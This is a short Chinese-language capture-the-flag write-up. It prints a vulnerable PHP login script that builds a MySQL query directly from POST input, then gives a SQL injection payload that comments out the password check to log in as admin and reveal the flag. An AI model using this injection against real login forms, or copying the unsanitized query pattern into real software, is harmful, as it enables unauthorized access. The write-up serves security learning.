源码如下

```php
<?php
 show_source("11.php");
   echo '<br>';
error_reporting(0);
require 'flag.php';

if($_POST[user] && $_POST[pass]) {
require('config.php');
} else{
    echo "Sons of bitch!";
}
$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select uname from userinfo where (uname='$user') and (pwd='$pass')";
$query = mysql_query($sql);
if (!$query) {
    printf("Error: %s\n", mysql_error($con));
    exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
  if($row['uname']=="admin") {
    echo "<p>Logged in! Key: $flag </p>";
  }

  if($row['uname'] != "admin") {
    echo("<p>You are not admin!</p>");
  }

mysql_close($con);
?>
```

这个·源码读下来就好了，就会发现sql无防护，只需要让它能查出来东西就能过

所以闭合绕过密码

payload：

```
user=admin')#&pass=1
```